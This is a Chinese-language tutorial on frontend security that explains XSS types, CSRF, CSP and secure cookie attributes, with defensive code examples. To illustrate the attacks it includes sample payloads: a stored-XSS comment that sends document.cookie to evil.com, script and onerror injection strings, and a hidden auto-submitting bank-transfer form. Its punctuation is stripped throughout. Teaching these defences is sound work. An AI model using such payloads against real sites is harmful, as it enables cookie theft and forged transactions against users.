前端安全 XSS 与 CSRF
文章目录前言一、XSS跨站脚本攻击1.1 定义1.2 三种类型存储型 XSS反射型 XSSDOM 型 XSS二、XSS 防御2.1 输出编码2.2 避免危险 API2.3 使用 DOMPurify三、CSRF跨站请求伪造3.1 定义3.2 攻击原理四、CSRF 防御4.1 SameSite Cookie4.2 CSRF Token4.3 验证 Origin / Referer五、CSP内容安全策略5.1 定义5.2 配置示例5.3 常用指令六、Cookie 安全属性6.1 各属性作用七、XSS 能否绕过 CSRF 防御八、面试聚焦8.1 富文本安全处理8.2 innerHTML 的风险九、易混淆点十、思考与练习总结前言前端安全是开发中必须重视的问题XSS 和 CSRF 是最常见的两种攻击方式。本篇会讲清楚XSS 的三种类型及防御CSRF 的原理及防御CSP内容安全策略Cookie 安全属性一、XSS跨站脚本攻击1.1 定义XSS 是指攻击者将恶意脚本注入到网页中当用户访问时执行恶意代码。1.2 三种类型存储型 XSS恶意脚本存储在服务器数据库用户访问时自动执行。// 攻击场景评论区// 攻击者提交恶意评论constcommentscriptdocument.locationhttps://evil.com/steal?cookiedocument.cookie/script// 服务器存储后其他用户访问时脚本执行// 危害窃取 Cookie、会话劫持反射型 XSS恶意脚本在 URL 中服务器反射回响应时执行。// 攻击场景搜索功能// URL: https://example.com/search?qscriptalert(XSS)/script// 服务器将 query 直接拼接到 HTMLconsthtmldiv搜索结果:${query}/div// 浏览器执行脚本DOM 型 XSS恶意脚本通过前端 JavaScript 直接操作 DOM 执行。// 攻击场景从 URL 获取参数并插入 DOMconsthashlocation.hash.substring(1)document.getElementById(output).innerHTMLhash// URL: https://example.com#img srcx onerroralert(XSS)二、XSS 防御2.1 输出编码// 1. HTML 编码functionencodeHTML(str){returnstr.replace(//g,amp;).replace(//g,lt;).replace(//g,gt;).replace(//g,quot;).replace(//g,#39;)}// 使用constuserInputscriptalert(XSS)/scriptdocument.getElementById(output).textContentuserInput// 安全// 或document.getElementById(output).innerHTMLencodeHTML(userInput)// 安全2.2 避免危险 API// ❌ 危险直接使用 innerHTMLelement.innerHTMLuserInput// ✅ 安全使用 textContentelement.textContentuserInput// ❌ 危险动态执行代码eval(userInput)newFunction(userInput)()// ❌ 危险拼接 HTMLconsthtmldiv${userInput}/div2.3 使用 DOMPurify// 富文本内容过滤importDOMPurifyfromdompurifyconstdirtyimg srcx onerroralert(1)pHello/pconstcleanDOMPurify.sanitize(dirty)// pHello/p危险标签被移除// 配置允许的标签和属性constcleanDOMPurify.sanitize(dirty,{ALLOWED_TAGS:[p,b,i,em,strong],ALLOWED_ATTR:[href,title]})三、CSRF跨站请求伪造3.1 定义CSRF 是指攻击者诱导用户在已登录的网站上执行非本意的操作。3.2 攻击原理!-- 用户已登录 bank.com --!-- 攻击者在 evil.com 放置 --!-- 自动发起转账请求 --imgsrchttps://bank.com/transfer?toattackeramount1000!-- 或使用表单自动提交 --formactionhttps://bank.com/transfermethodPOSTinputtypehiddennametovalueattackerinputtypehiddennameamountvalue1000/formscriptdocument.forms[0].submit()/script!-- 浏览器自动携带 bank.com 的 Cookie请求成功 --四、CSRF 防御4.1 SameSite Cookie// Set-Cookie: sessionabc123; SameSiteStrict; Secure; HttpOnly// SameSite 属性值// Strict完全禁止第三方 Cookie// Lax允许导航和 GET 请求携带默认值// None允许跨站携带必须设置 Secure4.2 CSRF Token// 1. 服务器生成 TokenconstcsrfTokengenerateRandomToken()res.cookie(csrfToken,csrfToken)// 2. 前端在请求中携带 Token// 方式一表单隐藏字段forminput typehiddenname_csrfvalue${csrfToken}/form// 方式二请求头fetch(/api/transfer,{method:POST,headers:{X-CSRF-Token:csrfToken},body:JSON.stringify(data)})// 3. 服务器验证 Tokenapp.post(/api/transfer,(req,res){if(req.headers[x-csrf-token]!req.cookies.csrfToken){returnres.status(403).json({error:Invalid CSRF token})}// 处理请求})4.3 验证 Origin / Referer// 服务器检查请求来源app.post(/api/transfer,(req,res){constoriginreq.headers.origin||req.headers.refererif(!origin||!origin.startsWith(https://bank.com)){returnres.status(403).json({error:Invalid origin})}// 处理请求})五、CSP内容安全策略5.1 定义CSP 是通过 HTTP 响应头或 meta 标签定义页面可以加载哪些资源的策略。5.2 配置示例// HTTP 响应头Content-Security-Policy:default-srcself;script-srcselfhttps://cdn.example.com;style-srcselfunsafe-inline;img-srcselfdata:https:;connect-srcselfhttps://api.example.com;// meta 标签meta http-equivContent-Security-Policycontentdefault-src self; script-src self5.3 常用指令// script-src限制脚本来源// self同源// nonce-xxx随机数匹配// sha256-xxx脚本哈希匹配// style-src限制样式来源// unsafe-inline允许内联样式不推荐// connect-src限制 AJAX / WebSocket 连接// self同源 API// report-uri违规上报地址Content-Security-Policy:...;report-uri/api/csp-report六、Cookie 安全属性// 完整的 Cookie 安全配置Set-Cookie:sessionabc123;Domainexample.com;Path/;Secure;// 只在 HTTPS 下发送HttpOnly;// 禁止 JavaScript 访问SameSiteStrict;// 禁止第三方携带Max-Age3600;// 过期时间6.1 各属性作用属性作用Secure只在 HTTPS 下发送HttpOnly禁止 JavaScript 访问防 XSS 窃取SameSite限制第三方携带防 CSRFDomain指定 Cookie 适用域名Path指定 Cookie 适用路径七、XSS 能否绕过 CSRF 防御// 场景Cookie 设置了 SameSiteStrict// 但攻击者通过 XSS 在目标站点执行脚本// XSS 可以// 1. 在同源下发起请求不受 SameSite 限制// 2. 读取页面中的 CSRF Token// 3. 直接操作 DOM 提交表单// 结论XSS 可以绕过部分 CSRF 防御// 因此防御 XSS 是根本八、面试聚焦8.1 富文本安全处理// 问题富文本允许用户输入 HTML如何安全渲染// 方案使用 DOMPurify 过滤importDOMPurifyfromdompurifyfunctionrenderRichText(dirty){constcleanDOMPurify.sanitize(dirty,{ALLOWED_TAGS:[p,b,i,em,strong,a,img],ALLOWED_ATTR:[href,src,alt,title]})returnclean}// 危险属性需要过滤// onerror, onclick, onmouseover 等事件属性// javascript: 协议的 href8.2 innerHTML 的风险// ❌ 危险直接拼接用户输入element.innerHTMLdiv${userInput}/div// ✅ 安全使用 textContentelement.textContentuserInput// ✅ 安全使用模板引擎自动转义// Vue: {{ userInput }} 自动转义// React: {userInput} 自动转义九、易混淆点XSS vs CSRFXSS 是注入恶意脚本执行CSRF 是伪造用户请求。XSS 可以绕过 CSRF 防御。三种 XSS存储型服务器存储、反射型URL 反射、DOM 型前端 DOM 操作。SameSite 属性Strict 完全禁止Lax 允许 GET 导航None 必须配合 Secure。HttpOnly防止 JavaScript 读取 Cookie但不能防止 XSS 注入。十、思考与练习1.XSS 的三种类型及区别是什么解析存储型恶意脚本存储在服务器所有用户访问都会触发反射型恶意脚本在 URL 中服务器反射回响应执行DOM 型恶意脚本通过前端 JavaScript 操作 DOM 执行2.如何防御 XSS解析输出编码HTML 编码、URL 编码避免危险 APIinnerHTML、eval使用 DOMPurify 过滤富文本设置 CSP 限制脚本来源3.CSRF 的防御方案有哪些解析SameSite Cookie 限制第三方携带CSRF Token 验证请求合法性验证 Origin / Referer 来源4.为什么 XSS 可以绕过 CSRF 防御解析XSS 在目标站点同源下执行脚本不受 SameSite 限制可以直接读取 CSRF Token 并发起请求。5.Cookie 的安全属性有哪些解析Secure只在 HTTPS 下发送HttpOnly禁止 JavaScript 访问SameSite限制第三方携带Domain / Path指定适用范围总结XSS注入恶意脚本分存储型、反射型、DOM 型XSS 防御输出编码、避免危险 API、DOMPurify、CSPCSRF伪造用户请求利用 Cookie 自动携带机制CSRF 防御SameSite Cookie、CSRF Token、验证 OriginCSP通过 HTTP 头限制页面可加载的资源Cookie 安全Secure HttpOnly SameSite 组合使用